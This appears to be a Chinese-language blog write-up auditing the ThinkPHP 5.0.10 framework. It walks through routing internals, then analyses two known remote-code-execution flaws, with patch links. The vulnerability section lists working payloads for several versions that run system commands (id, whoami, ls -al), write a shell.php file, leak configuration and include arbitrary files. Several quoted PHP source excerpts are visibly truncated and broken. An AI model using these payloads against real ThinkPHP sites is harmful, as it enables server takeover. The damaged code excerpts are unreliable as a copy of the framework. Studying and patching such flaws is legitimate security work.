ThinkPHP v5.0.10代碼審計


## 前言

ThinkPHP 是國內著名的 php開發框架,基於MVC模式,最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP。

ThinkPHP5.0版本是一個顛覆和重構版本,采用全新的架構思想,引入了更多的PHP新特性,優化了核心,減少了依賴,實現了真正的惰性加載,支持composer,並針對API開發做了大量的優化,包括路由、日志、異常、模型、數據庫、模板引擎和驗證等模塊都已經重構。

ThinkPHP5下載:

https://www.thinkphp.cn/down.html

本文用到的是ThinkPHP5.0.10完整版
https://www.thinkphp.cn/donate/download/id/1015.html

ThinkPHP操作手冊:

https://www.kancloud.cn/thinkphp/thinkphp5_quickstart     #快速開始
https://www.kancloud.cn/manual/thinkphp5                  #完全開發手冊

目前,仍然有非常多網站以ThinkPHP5為框架開發。本文我們的目的是熟悉TP5框架,分析與復現歷史漏洞,這里我們選擇的版本是ThinkPHP5.0.10完整版。

ThinkPHP5的運行環境要求PHP5.4以上。

ThinkPHP5基礎

目錄結構

初始的目錄結構

如下:

www  WEB部署目錄(或者子目錄)
├─application           應用目錄
│  ├─common             公共模塊目錄(可以更改)
│  ├─module_name        模塊目錄
│  │  ├─config.php      模塊配置文件
│  │  ├─common.php      模塊函數文件
│  │  ├─controller      控制器目錄
│  │  ├─model           模型目錄
│  │  ├─view            視圖目錄
│  │  └─ ...            更多類庫目錄
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         公共函數文件
│  ├─config.php         公共配置文件
│  ├─route.php          路由配置文件
│  ├─tags.php           應用行為擴展定義文件
│  └─database.php       數據庫配置文件
│
├─public                WEB目錄(對外訪問目錄)
│  ├─index.php          入口文件
│  ├─router.php         快速測試文件
│  └─.htaccess          用於apache的重寫
│
├─thinkphp              框架系統目錄
│  ├─lang               語言文件目錄
│  ├─library            框架類庫目錄
│  │  ├─think           Think類庫包目錄
│  │  └─traits          系統Trait目錄
│  │
│  ├─tpl                系統模板目錄
│  ├─base.php           基礎定義文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架慣例配置文件
│  ├─helper.php         助手函數文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                擴展類庫目錄
├─runtime               應用的運行時目錄(可寫,可定制)
├─vendor                第三方類庫目錄(Composer依賴庫)
├─build.php             自動生成定義文件(參考)
├─composer.json         composer 定義文件
├─LICENSE.txt           授權說明文件
├─README.md             README 文件
├─think                 命令行入口文件

入口文件:

ThinkPHP5.0版本的默認自帶的入口文件位於public/index.php實際部署的時候public目錄為你的應用對外訪問目錄),入口文件內容如下:

// 定義應用目錄
define('APP_PATH', __DIR__ . '/../application/');
// 加載框架引導文件
require __DIR__ . '/../thinkphp/start.php';

這段代碼的作用就是定義應用目錄APP_PATH和加載ThinkPHP框架的入口文件,這是所有基於ThinkPHP開發應用的第一步。

官方提供的默認應用的實際目錄結構和說明如下:

├─application           應用目錄(可設置)
│  ├─index              模塊目錄(可更改)
│  │  ├─config.php      模塊配置文件
│  │  ├─common.php      模塊公共文件
│  │  ├─controller      控制器目錄
│  │  ├─model           模型目錄
│  │  └─view            視圖目錄
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         應用公共文件
│  ├─config.php         應用配置文件
│  ├─tags.php           應用行為擴展定義文件
│  ├─database.php       數據庫配置文件
│  └─route.php          路由配置文件

5.0版本采用模塊化的設計架構,默認的應用目錄下面只有一個index模塊目錄。

靜態資源文件:

網站的資源文件一般放入public目錄的子目錄下面,例如

public
├─index.php       應用入口文件
├─static				靜態資源目錄   
│  ├─css      樣式目錄
│  ├─js         腳本目錄
│  └─img      圖像目錄

調試模式:

應用配置文件(application/config.php)中的app_debug配置參數:

// 關閉調試模式
'app_debug' =>  false,

配置文件

在ThinkPHP中,一般來說應用的配置文件是自動加載的,加載的順序是:

慣例配置->應用配置->擴展配置->場景配置->模塊配置->動態配置

以上是配置文件的加載順序,因為后面的配置會覆蓋之前的同名配置(在沒有生效的前提下),所以配置的優先順序從右到左。

慣例配置:位於thinkphp/convention.php

應用配置:位於application/config.php

擴展配置:V5.0.1開始,取消了該配置參數,擴展配置文件直接放入application/extra目錄會自動加載。

場景配置:每個應用都可以在不同的情況下設置自己的狀態(或者稱之為應用場景),並且加載不同的配置文件。

模塊配置:位於application/當前模塊名/config.php

控制器

根據類的命名空間可以快速定位文件位置,在ThinkPHP5.0的規范里面,命名空間其實對應了文件的所在目錄,app命名空間通常代表了文件的起始目錄為application,而think命名空間則代表了文件的起始目錄為thinkphp/library/think,后面的命名空間則表示從起始目錄開始的子目錄。

我們找到index模塊的Index控制器(文件位於application/index/controller/Index.php 注意大小寫),我們把Index控制器類的index方法修改為Hello,World!

image-20220315170340135

image-20220315170404588

如果要訪問一個駝峰命名的控制器,例如我們把上面的例子改成一個HelloWorld控制器。

image-20220315170648166

默認情況下正確的方法是使用下面的URL進行訪問

http://serverName/index.php/index/hello_world

下面的訪問地址是錯誤的

http://serverName/index.php/index/HelloWorld

image-20220315170800919

因為默認的URL訪問是不區分大小寫的,全部都會轉換為小寫的控制器名,除非你在應用配置文件中,設置了關閉url自動轉換如下:

'url_convert' => false,

image-20220315171017913

一般來說,ThinkPHP的控制器是一個類,而操作則是控制器類的一個公共方法。控制器類可以包括多個操作方法,但如果你的操作方法是protected或者private類型的話,是無法直接通過URL訪問到該操作的,也就是說只有public類型的操作方法才是可以通過URL訪問的。

例如:

<?phpnamespace app\index\controller;class Index{    public function hello()    {        return 'hello,thinkphp!';    }    public function test()    {        return '這是一個測試方法!';    }    protected function hello2()    {        return '只是protected方法!';    }    private function hello3()    {        return '這是private方法!';    }}

當我們訪問如下URL地址的時候,前面兩個是正常訪問,后面兩個則會顯示異常。

http://serverName/index.php/index/index/hellohttp://serverName/index.php/index/index/testhttp://serverName/index.php/index/index/hello2http://serverName/index.php/index/index/hello3

視圖

現在我們在給控制器添加視圖文件功能,我們在application/index目錄下面創建一個view目錄,然后添加模板文件view/index/hello.html(注意大小寫),我們添加模板內容如下:

<html><head><title>hello {$name}</title></head><body>    hello, {$name}!</body></html>

要輸出視圖,必須在控制器方法中進行模板渲染輸出操作,現在修改控制器類如下:

<?phpnamespace app\index\controller;use think\Controller;class Index extends Controller{    public function hello($name = 'thinkphp')    {        $this->assign('name', $name);        return $this->fetch();    }}

Index控制器類繼承了 think\Controller類之后,我們可以直接使用封裝好的assignfetch方法進行模板變量賦值和渲染輸出。

fetch方法中我們沒有指定任何模板,所以按照系統默認的規則(視圖目錄/控制器/操作方法)輸出了view/index/hello.html模板文件。

接下來,我們在瀏覽器訪問

http://serverName/index.php/index/index/hello

image-20220316094748822

URL&路由

URL訪問

一個標准的URL訪問格式(pathinfo模式):

http://domainName/index.php/模塊/控制器/操作/[參數名/參數值...]

其中index.php就稱之為應用的入口文件(入口文件可以被隱藏,參考)。

模塊在ThinkPHP中的概念其實就是應用目錄下面的子目錄,而官方的規范是目錄名小寫,因此模塊全部采用小寫命名,無論URL是否開啟大小寫轉換,模塊名都會強制小寫。

如果你的控制器是駝峰的,例如定義一個HelloWorld控制器(application/index/controller/HelloWorld.php),正確的URL訪問地址(該地址可以使用url方法生成)應該是:

http://servername/index.php/index/hello_world/index

image-20220316103112158

如果使用

http://servername/index.php/index/HelloWorld/index

將會報錯,並提示Helloworld控制器類不存在。

如果希望嚴格區分大小寫訪問(這樣就可以支持駝峰法進行控制器訪問),可以在應用配置文件中設置:

// 關閉URL自動轉換(支持駝峰訪問控制器)'url_convert' => false,

關閉URL自動轉換之后,必須使用下面的URL地址訪問(控制器名稱必須嚴格使用控制器類的名稱,不包含控制器后綴):

http://servername/index.php/index/HelloWorld/indexhttp://servername/index.php/index/hello_world/index

image-20220316104432480

如果你的服務器環境不支持pathinfo方式的URL訪問,可以使用兼容方式,例如:

http://servername/index.php?s=/index/Index/index

其中變量s的名稱的可以配置的。

5.0不再支持普通的URL訪問方式,所以下面的訪問是無效的,你會發現無論輸入什么,訪問的都是默認的控制器和操作_

http://servername/index.php?m=index&c=Index&a=hello

參數傳入

上面我們使用了,如下方式傳參

http://domainName/index.php/模塊/控制器/操作/[參數名1/參數值1/參數名2/參數值2...]

除此之外,還可以使用

http://domainName/index.php/模塊/控制器/操作?參數1=值1&參數2=值2...

image-20220316110034501

還可以進一步對URL地址做簡化,前提就是我們必須明確參數的順序代表的變量,我們更改下URL參數的獲取方式,把應用配置文件中的url_param_type參數的值修改如下:

// 按照參數順序獲取'url_param_type' => 1,

現在,URL的參數傳值方式就變成了嚴格按照操作方法的變量定義順序來傳值了,也就是說我們必須使用下面的URL地址訪問才能正確傳入namecity參數到hello方法:

http://servername/index.php/index/HelloWorld/index/thinkphp/shanghai

頁面輸出結果為:

Hello,thinkphp! You come from shanghai.

定義路由

我們可以通過在路由定義文件(application/route.php)里面添加一些路由規則,來簡化URL訪問

例如:

return [    // 添加路由規則 路由到 index控制器的hello操作方法    'hello/[:name]' => 'index/index/hello',];

該路由規則表示所有hello開頭的並且帶參數的訪問都會路由到index控制器的hello操作方法。

路由之前的URL訪問地址為:

http://servername/index/index/hello/name/thinkphp

定義路由后就只能訪問下面的URL地址

http://servername/hello/thinkphp

注意


定義路由規則后,原來的URL地址將會失效,變成非法請求。

我們還可以約束路由規則的請求類型或者URL后綴之類的條件,例如:

return [    // 定義路由的請求類型和后綴    'hello/[:name]' => ['index/hello', ['method' => 'get', 'ext' => 'html']],];

上面定義的路由規則限制了必須是get請求,而且后綴必須是html的,所以下面的訪問地址:

http://servername/hello // 無效http://servername/hello.html // 有效http://servername/hello/thinkphp // 無效http://servername/hello/thinkphp.html // 有效

數據庫

ThinkPHP內置了抽象數據庫訪問層,把不同的數據庫操作封裝起來,我們只需要使用公共的Db類進行操作,而無需針對不同的數據庫寫不同的代碼和底層實現,Db類會自動調用相應的數據庫驅動來處理。采用PDO方式,目前包含了Mysql、SqlServer、PgSQL、Sqlite等數據庫的支持。

數據庫配置方式有很多,常用的配置方式是在應用目錄或者模塊目錄下面的database.php中添加下面的配置參數:

return [    // 數據庫類型    'type'            => 'mysql',    // 服務器地址    'hostname'        => '127.0.0.1',    // 數據庫名    'database'        => 'thinkphp',    // 用戶名    'username'        => 'root',    // 密碼    'password'        => 'root',    // 端口    'hostport'        => '3306',    // 連接dsn    'dsn'             => '',    // 數據庫連接參數    'params'          => [],    // 數據庫編碼默認采用utf8    'charset'         => 'utf8',    // 數據庫表前綴    'prefix'          => '',    // 數據庫調試模式    'debug'           => true,    // 數據庫部署方式:0 集中式(單一服務器),1 分布式(主從服務器)    'deploy'          => 0,    // 數據庫讀寫是否分離 主從式有效    'rw_separate'     => false,    // 讀寫分離后 主服務器數量    'master_num'      => 1,    // 指定從服務器序號    'slave_no'        => '',    // 是否嚴格檢查字段是否存在    'fields_strict'   => true,    // 數據集返回類型    'resultset_type'  => 'array',    // 自動寫入時間戳字段    'auto_timestamp'  => false,    // 時間字段取出后的默認時間格式    'datetime_format' => 'Y-m-d H:i:s',    // 是否需要進行SQL性能分析    'sql_explain'     => false,];

配置了數據庫連接信息后,我們就可以直接使用數據庫運行原生SQL操作了,支持query(查詢操作)和execute(寫入操作)方法,並且支持參數綁定。

Db::query('select * from think_user where id=?',[8]);Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']);

也支持命名占位符綁定,例如:

Db::query('select * from think_user where id=:id',['id'=>8]);Db::execute('insert into think_user (id, name) values (:id, :name)',['id'=>8,'name'=>'thinkphp']);

可以使用多個數據庫連接,使用

Db::connect($config)->query('select * from think_user where id=:id',['id'=>8]);

$config是一個單獨的數據庫配置,支持數組和字符串,也可以是一個數據庫連接的配置參數名。

查詢一個數據使用:

// table方法必須指定完整的數據表名Db::table('think_user')->where('id',1)->find();

查詢數據集使用:

Db::table('think_user')->where('status',1)->select();

安全

SQL:

5.0版本的數據操作使用了PDO預處理機制及自動參數綁定功能

上傳:

網站的上傳功能也是一個非常容易被攻擊的入口,所以對上傳功能的安全檢查是尤其必要的。

系統的think\File提供了文件上傳的安全支持,包括對文件后綴、文件類型、文件大小以及上傳圖片文件的合法性檢查,確保你已經在上傳操作中啟用了這些合法性檢查

為了方便版本升級,並且保證public目錄為唯一的web可訪問目錄,資源文件可以放到項目之外,例如項目目錄為

/home/www/thinkphp/

那么資源目錄、上傳文件保存的目錄

/home/www/resource//home/www/resource/upload/

命名空間

ThinkPHP5只需要給類庫正確定義所在的命名空間,並且命名空間的路徑與類庫文件的目錄一致,那么就可以實現類的自動加載。

例如,\think\cache\driver\File類的定義為:

namespace think\cache\driver;class File{}

如果我們實例化該類的話,應該是:

$class = new \think\cache\driver\File();

系統會自動加載該類對應路徑的類文件,其所在的路徑是 thinkphp/library/think/cache/driver/File.php。

可是為什么路徑是在thinkphp/library/think下呢?這就要涉及要另一個概念—根命名空間。

根命名空間是一個關鍵的概念,以上面的\think\cache\driver\File類為例,think就是一個根命名空間,其對應的初始命名空間目錄就是系統的類庫目錄(thinkphp/library/think),我們可以簡單的理解一個根命名空間對應了一個類庫包。

系統內置的幾個根命名空間(類庫包)如下:

![img](ThinkPHP v5.0.10代碼審計.assets/1554882467000-9a5460d8e8a1ef8fb7355b1109a3420a.png-w331s)

框架流程分析

我們先進入到默認的入口文件(public/index.php

// 定義應用目錄define('APP_PATH', __DIR__ . '/../application/');// 加載框架引導文件require __DIR__ . '/../thinkphp/start.php';

引入start.php(框架引導文件)進入到里面看看有什么

進入框架引導文件(thinkphp/start.php)看到兩行代碼

// ThinkPHP 引導文件// 1. 加載基礎文件require __DIR__ . '/base.php';// 2. 執行應用App::run()->send();

(1)基礎文件(thinkphp/base.php)

在此文件首先看到全面大段的是定義常量或者是檢查常量是否存在,主要是以下幾點需要重點注意

  • 將Loader類引入
  • 注冊自動加載機制
    • 注冊系統自動加載,spl_autoload_register將函數注冊到SPL __autoload函數隊列中。如果該隊列中的函數尚未激活,則激活它們。此函數可以注冊任意數量的自動加載器,當使用尚未被定義的類(class)和接口(interface)時自動去加載。通過注冊自動加載器,腳本引擎在 PHP 出錯失敗前有了最后一個機會加載所需的類。
    • Composer 自動加載支持
    • 注冊命名空間定義:think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
    • 加載類庫映射文件
    • 自動加載 extend 目錄
  • 注冊異常處理機制
  • 加載慣例配置

(2)執行應用(thinkphp/library/think/App.php)

首先返回一個request實例,將應用初始化返回配置信息。
之后進行如下的操作:

  • 查看是否存在模塊控制器綁定
  • 對於request的實例根據設置的過濾規則進行過濾
  • 加載語言包
  • 監聽app_dispatch
  • 進行URL路由檢測(routecheck)
  • 記錄當前調度信息,路由以及請求信息到日志中
  • 請求緩存檢查並進行$data = self::exec($dispatch, $config);,根據$dispatch進行不同的調度,返回$data
  • 清除類的實例化
  • 輸出數據到客戶端,$response = $data;,返回一個Response類實例
  • 調用 Response->send() 方法將數據返回值客戶端

URL路由解析動態調試分析

URL路由解析及頁面輸出工作可以分為5部分。

  1. 路由定義:完成路由規則的定義和參數設置
  2. 路由檢測:檢查當前的URL請求是否有匹配的路由
  3. 路由解析:解析當前路由實際對應的操作。
  4. 路由調度:執行路由解析的結果調度。
  5. 響應輸出及應用結束:將路由調度的結果數據輸出至頁面並結束程序運行。

我們通過動態調試來分析,這樣能清楚明了的看到程序處理的整個流程,由於在Thinkphp中,配置不同其運行流程也會不同,所以我們采用默認配置來進行分析,並且由於在程序運行過程中會出現很多與之無關的流程,我也會將其略過。

路由定義

通過配置route目錄下的文件對路由進行定義,這里我們采取默認的路由定義,就是不做任何路由映射。

路由檢測

這部分內容主要是對當前的URL請求進行路由匹配。在路由匹配前先會獲取URL中的pathinfo,然后再進行匹配,但如果沒有定義路由,則會把當前pathinfo當作默認路由。

首先我們設置好IDE環境,並在路由檢測功能處下斷點。

image-20220317170443315

然后我們請求Hello.php文件。【index模塊hello控制器index方法】

http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/index/name/world

image-20220317171633927

F7跟進routeCheck()方法

image-20220317173719901

進入path()方法

image-20220317174245847

繼續跟進pathinfo()方法

image-20220317174348223

這里會根據不同的請求方式獲取當前URL的pathinfo信息,這里我們的請求方式是pathinfo,直接通過$_SERVER(‘PATH_INFO’)去獲取,獲取之后會使用ltrim()函數對$pathinfo進行處理去掉左側的’/’符號。Ps:如果以兼容模式請求,則會用$_GET方法獲取。

ltrim — 刪除字符串開頭的空白字符(或其他字符)

image-20220317180529310

然后返回賦值給$path並將該值帶入check()方法對URL路由進行檢測

image-20220317181558108

image-20220317182306804

這里主要是對我們定義的路由規則進行匹配,但是我們是以默認配置來運行程序的,沒有定義路由規則,所以跳過中間對於路由檢測匹配的過程,直接來看默認路由解析過程,使用默認路由對其進行解析。

路由解析

接下來將會對路由地址進行了解析分割、驗證、格式處理及賦值進而獲取到相應的模塊、控制器、操作名。

跟進parseUrl()方法:

image-20220318103705039

這里首先會進入parseUrlPath()方法,將路由進行解析分割。

image-20220318103849441

使用”/”進行分割,拿到 [模塊/控制器/操作/參數/參數值]。

image-20220318105028920

緊接着使用array_shift()函數挨個從$path數組中取值對模塊、控制器、操作進行賦值。

array_shift — 將數組開頭的單元移出數組

image-20220318111127859

image-20220318111348075

接着使用parseUrlParams解析參數/參數值

image-20220318111833473

然后進行路由封裝將賦值后的$module$controller$action存到route數組中

image-20220318112028477

賦值給$result變量,返回

image-20220318133758771image-20220318133804440

回到最開始的App類,賦值給$dispatch

image-20220318140508204

路由調度

這一部分將會對路由解析得到的結果(模塊、控制器、操作)進行調度,得到數據結果。

image-20220318162146574

跟進exec

image-20220318162312918

繼續跟進module執行模塊:

image-20220318162740386

實例化請求,並進行模塊綁定

image-20220318163109079

image-20220318163253739

加載控制器:

加載前,會先使用class_exists()函數檢查Hello類是否定義過,這時程序會調用自動加載功能去查找該類並加載

image-20220318164358499

繼續往下跟,調用index方法:

image-20220318164114897

支持參數綁定。獲取請求參數:

這里調用了bindParams()方法對$var參數數組進行處理,獲取了Hello反射類的綁定參數,獲取到后將$args傳入invokeArgs()方法,進行反射執行。

image-20220318164917821

然后程序就成功運行到了我們訪問的文件

image-20220318164957356

運行之后返回數據結果,到這里路由調度的任務也就結束了,剩下的任務就是響應輸出了,將得到數據結果輸出到瀏覽器頁面上。image-20220318165117120

響應輸出及應用結束

這一小節會對之前得到的數據結果進行響應輸出並在輸出之后進行掃尾工作結束應用程序運行。在響應輸出之前首先會構建好響應對象,將相關輸出的內容存進Response對象,然后調用Response::send()方法將最終的應用返回的數據輸出到頁面。

image-20220318174035608

調用Response類中的create()方法去獲取響應輸出的相關數據,構建Response對象:

執行new static($data, $code, $header, $options);實例化自身Response類

image-20220318174916949

可以看到這里將輸出內容、頁面的輸出類型、響應狀態碼等數據都傳遞給了Response類對象

image-20220318175044414

然后就開始調用Response類中send()方法,向瀏覽器頁面輸送數據。

image-20220318175310512

這里依次向瀏覽器發送了狀態碼、header頭信息以及得到的內容結果。

image-20220318175400123

輸出完畢后,跳到了appShutdown()方法,保存日志並結束了整個程序運行。

image-20220318175523727

漏洞分析

image-20220317153820789

image-20220324192728517

RCE1——類名解析導致任意類方法調用

概述

本次漏洞存在於 ThinkPHP 底層沒有對控制器名進行很好的合法性校驗,導致在未開啟強制路由的情況下,用戶可以調用任意類的任意方法,從而調用invokefunction方法,最終導致 遠程代碼執行漏洞 的產生。

漏洞影響版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

不同版本 payload 需稍作調整:

5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x:

?s=index/think\config/get&name=database.username # 獲取配置信息?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞分析

這里以5.0.10版本的thinkphp來分析。

以這個POC為例:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20220321135431091

下面我們一步步跟一下這個攻擊鏈。

斷點還是下在App.php文件,調用routeCheck進行調度解析這里:

image-20220322142624470

監聽,發送POC

跟進routeCheck

image-20220322142931877

繼續跟進到path方法里面,然后這里有一個pathinfo()函數,繼續跟進

image-20220322143011012

來看一下phpinfo()方法:

public function pathinfo(){    if (is_null($this->pathinfo)) {        if (isset($_GET[Config::get('var_pathinfo')])) {            // 判斷URL里面是否有兼容模式參數            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];            unset($_GET[Config::get('var_pathinfo')]);        } elseif (IS_CLI) {            // CLI模式下 index.php module/controller/action/params/...            $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] :         }        // 分析PATHINFO信息        if (!isset($_SERVER['PATH_INFO'])) {            foreach (Config::get('pathinfo_fetch') as $type) {                if (!empty($_SERVER[$type])) {                    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], RVER['SCRIPT_NAME'])) ?                    substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : RVER[$type];                    break;                }            }        }        $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ($_SERVER['PATH_INFO'], '/');    }    return $this->pathinfo;}

Config::get('var_pathinfo')是配置文件中的設置的參數,默認值為s,怎么找到這個變量?可以全局搜索一下,可以搜索到其中一個配置文件里面有

image-20220322143526232

從GET中獲取s參數的值,然后賦值給phpinfo變量返回,這里也就是index/think\app/invokefunction

image-20220322143205417

image-20220322144056105

最后賦值給routeCheck中的$path

image-20220322144218386

然后開始進入路由檢測的部分,經過check的檢查后會進入else的分支,但這一部分對於我們需要控制的變量沒有任何影響,關鍵是$result以及$must這兩個變量的賦值結果,這也是導致了后面操作的關鍵,可以進入Route::parseUrl函數

image-20220322144508377

image-20220322144700642

跟進parseUrl:

image-20220322145648403

再跟進一下parseUrlPath():

這里面就是返回一個$path變量,對包含模塊/控制器/操作的URL進行分割成數組進行返回

image-20220322145730802

回到上一層的函數中,繼續跟進,可以發現在自動搜索控制器的判斷中進入了else語句,從而為控制器進行了賦值,這里是個賦值點,很關鍵

image-20220322150159105

然后以$route變量返回上層run函數:

image-20220322150310757

然后下面就執行到了exec方法:

image-20220322150605124

其中傳入的$dispatch參數的內容如下:

image-20220322150529928

跟進exec

image-20220322151434516

然后進行module函數:

public static function module($result, $config, $convert = null){    if (is_string($result)) {        $result = explode('/', $result);    }    $request = Request::instance();    if ($config['app_multi_module']) {        // 多模塊部署        $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));        $bind      = Route::getBind('module');        $available = false;        if ($bind) {            // 綁定模塊            list($bindModule) = explode('/', $bind);            if (empty($result[0])) {                $module    = $bindModule;                $available = true;            } elseif ($module == $bindModule) {                $available = true;            }        } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . dule)) {            $available = true;        }        // 模塊初始化        if ($module && $available) {            // 初始化模塊            $request->module($module);            $config = self::init($module);            // 模塊請求緩存檢查            $request->cache($config['request_cache'], fig['request_cache_expire'], $config['request_cache_except']);        } else {            throw new HttpException(404, 'module not exists:' . $module);        }    } else {        // 單一模塊部署        $module = '';        $request->module($module);    }    // 當前模塊路徑    App::$modulePath = APP_PATH . ($module ? $module . DS : '');    // 是否自動轉換控制器和操作名    $convert = is_bool($convert) ? $convert : $config['url_convert'];    // 獲取控制器名    $controller = strip_tags($result[1] ?: $config['default_controller']);    $controller = $convert ? strtolower($controller) : $controller;    // 獲取操作名    $actionName = strip_tags($result[2] ?: $config['default_action']);    $actionName = $convert ? strtolower($actionName) : $actionName;    // 設置當前請求的控制器、操作    $request->controller(Loader::parseName($controller, 1))->action($actionName);    // 監聽module_init    Hook::listen('module_init', $request);    $instance = Loader::controller($controller, $config['url_controller_layer'], fig['controller_suffix'], $config['empty_controller']);    if (is_null($instance)) {        throw new HttpException(404, 'controller not exists:' . er::parseName($controller, 1));    }    // 獲取當前操作名    $action = $actionName . $config['action_suffix'];    $vars = [];    if (is_callable([$instance, $action])) {        // 執行操作方法        $call = [$instance, $action];    } elseif (is_callable([$instance, '_empty'])) {        // 空操作        $call = [$instance, '_empty'];        $vars = [$actionName];    } else {        // 操作不存在        throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . on . '()');    }    Hook::listen('action_begin', $call);    return self::invokeMethod($call, $vars);}

在進入多模塊部署后由於,bind的值為null,會進入elseif的條件,使available的變量成為true,這也是后面為什么可以順利初始化module的條件,不然就會拋出異常。

image-20220322154948167

繼續跟進,controller變量就被賦值,然后獲得方法名字,開始請求這個方法

image-20220322155444584

最后還是返回了這個方法

image-20220322155521038

跟進invokeMethod:

通過ReflectionMethod方法去構造一個映射,然后調用bindParams方法對其余參數進行解析

image-20220322161558725

跟進bindParams:

image-20220322161954755

返回$args。

然后就運行invokeArgs方法

image-20220322163434979

image-20220322162549311

跟進,會來到invokefunction函數,這個函數也類似回調函數,所以就會把&function=call_user_func_array&vars[0]=system&vars[1][]=whoami傳進invokefunction這個方法里面。

image-20220322163742497

繼續跟進的話,你會發現這個函數跟上面跟進的函數的套路一模一樣,也是利用了回調的效果,也是利用一個變量把system后面的內容返回給call_user_func_array,只不過這次可以直接調用call_user_func_array了,相當於執行了call_user_func_array("system","whoami")

image-20220322164248181

最后成功RCE

image-20220322164750813

補丁

5.0.x補丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f5.1.x補丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

image-20220322172003026

補丁中加了正則限制了控制器的自定義初始化

RCE2——Request核心類變量覆蓋

概述

Request核心類$method 來自可控的 $_POST 數組,而且在獲取之后沒有進行任何檢查,直接把它作為 Request 類的方法進行調用,同時,該方法傳入的參數是可控數據 $_POST 。導致可以隨意調用 Request 類的部分方法

過程:

讓method等於 __construct魔術方法,然后里面的 foreach 函數造成變量覆蓋。然后通過Request 類中的 param方法最終又調用了filterValue 方法,而該方法中就存在可利用的 call_user_func 函數,從而執行任意命令

Request 類中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均調用了 filterValue 方法,而該方法中就存在可利用的 call_user_func 函數

POC:

來源於網絡,未全部測試

ThinkPHP <= 5.0.13

POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug

POST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP 5.1.x

a=system&_method=filter&c=whoami

漏洞分析

這里以5.0.10版本的thinkphp來分析。

以這個POC為例:

POST  入口/?s=index_method=__construct&filter[]=system&method=get&get[]=whoami

斷點還是下在App.php文件,調用routeCheck進行調度解析這里:

image-20220322142624470

監聽,發送POC

跟進routeCheck

一直往下走,直到調用check方法進行路由檢測

image-20220324205246785

跟進check方法

在843行調用$request->method()方法

image-20220324205516503

跟進method方法

public function method($method = false){    if (true === $method) {        // 獲取原始請求類型        return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? ->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);    } elseif (!$this->method) {        if (isset($_POST[Config::get('var_method')])) {            $this->method = strtoupper($_POST[Config::get('var_method')]);            $this->{$this->method}($_POST);        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {            $this->method = upper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);        } else {            $this->method = IS_CLI ? 'GET' : ($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : RVER['REQUEST_METHOD']);        }    }    return $this->method;}

經過判斷,我們會進入到elseif語句,可以看到有一個可以控制的函數名$_POST[Config::get['var_method'],而var_method的值在application/config.php里面為_method

image-20220324210542441

於是可以POST傳入_method改變$this->{$this->method}($_POST);達到任意調用此類中的方法

而如果調用此類中的__construct方法(也就是我們的POC):

image-20220324211243275

來看一下__construct方法

protected function __construct($options = []){    foreach ($options as $name => $item) {        if (property_exists($this, $name)) {            $this->$name = $item;        }    }    if (is_null($this->filter)) {        $this->filter = Config::get('default_filter');    }    // 保存 php://input    $this->input = file_get_contents('php://input');}

有一個foreach,可以引起POST數據對Requests對象屬性的變量覆蓋

property_exists — 檢查對象或類是否具有該屬性

property_exists ( mixed$class , string $property ) : bool

動態跟蹤一下可以看到各個屬性被覆蓋后的值:

image-20220324212346039

image-20220324212441356

image-20220324212514708

繼續往下跟

在App::run()方法里面,如果我們開啟了debug模式,則會調用Request::param()方法:

image-20220324213025050

當然,即使沒有開啟debug,在App::run()里面的調用的exec方法同樣也會調用Request::param()方法

image-20220324213504740

這個方法我們需要特別關注了,因為 Request 類中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均調用了 filterValue 方法,而該方法中就存在可利用的 call_user_func 函數

調用棧太深,就不一個個跟了

開啟debug時的調用棧:

image-20220324214716370

關閉debug時的調用棧:image-20220324213822992

array_walk_recursive — 對數組中的每個成員遞歸地應用用戶函數

image-20220325152808773

然后filterValue方法中,調用了call_user_func造成任意命令執行

image-20220324214814188

image-20220324214930082

